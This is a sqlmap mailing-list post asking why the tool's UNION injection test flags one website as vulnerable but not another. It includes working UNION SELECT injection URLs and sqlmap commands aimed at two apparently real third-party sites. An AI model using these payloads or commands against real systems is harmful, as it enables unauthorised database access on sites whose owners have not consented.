[sqlmap-users] SQLmap doesn't find union sql injection

[<rez...@se...>]

Hello, I've just tested sqlmap 0.7 with --union-test option and I have a 
question.

There are two sites vuln. to SQL Injection with UNION statement:

http://www.hotlink.com.br/noticias_show.php?id=-1%20union%20all%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,%2020,21,22,23,24--

and

http://www.osa.cz/page4.php?t=-1%20UNION%20ALL%20SELECT%201,2,3,4,version%28%29,6,7,8,9

So a run these two command:

$ sqlmap.py -u "http://www.hotlink.com.br/noticias_show.php?id=2868" 
--union-test

and

$ sqlmap.py -u "http://www.osa.cz/page4.php?t=129" --union-test

In the first case, sqlmap correctly tells mi that site is vulnerable to 
union sql injection. That's good. But in the second case sqlmap tells, 
that site isn't vulnerable to that kind of sql injection in spite of it 
is (see the link above). These two scenerios looks to me very similar, 
so my question is, where is the problem and why sqlmap can't find union 
sql injection in the second case. Thank you.